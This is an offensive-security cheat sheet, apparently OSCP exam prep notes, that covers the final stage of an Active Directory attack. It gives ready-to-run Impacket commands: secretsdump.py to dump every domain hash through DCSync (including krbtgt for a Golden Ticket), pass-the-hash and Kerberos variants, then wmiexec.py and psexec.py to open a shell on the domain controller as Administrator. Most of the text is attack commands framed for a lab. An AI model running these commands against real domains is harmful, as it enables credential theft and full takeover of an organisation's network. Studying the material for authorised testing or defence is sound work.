DCSync & DC Takeover

Final step once you hold DA-equivalent rights (DCSync, DA group membership, or an ADCS domain-escalation cert). Continues from OSCP AD Set - Assumed Breach Methodology step 7.

DCSync: Dump Every Hash from the DC

secretsdump.py '<domain>/<user>:<pass>@<DC-IP>'

Pass-the-hash instead of a password:

secretsdump.py -hashes <LMHASH>:<NTHASH> '<domain>/<user>@<DC-IP>'

Kerberos auth:

secretsdump.py -k -no-pass -dc-ip <DC-IP> '<domain>/<user>@<DC-hostname>'

Useful flags:

Flag	Effect
`-just-dc-ntlm`	NTLM hashes only, faster, skips history/Kerberos keys
`-just-dc-user <username>`	Grab a single account (e.g. `krbtgt` for a Golden Ticket, or just the DA you need)
`-history`	Include password history

Land on the DC with the Recovered Administrator Hash

# semi-interactive shell via WMI, quieter, no service creation
wmiexec.py -hashes <LMHASH>:<NTHASH> '<domain>/Administrator@<DC-IP>'

# or via PsExec-style service (RemComSvc), noisier, creates a service
psexec.py -hashes <LMHASH>:<NTHASH> '<domain>/Administrator@<DC-IP>'

Trailing command is optional: leave it out for a semi-interactive shell, or pass one (e.g. whoami) for a one-shot run.
Target format for all three tools: [[domain/]username[:password]@]<target>, same convention throughout, hence they chain cleanly.

Grab the Flag

type C:\Users\Administrator\Desktop\proof.txt

(interactively via the shell above, or as a one-shot command argument)

See Impacket for the broader tool reference these commands are drawn from.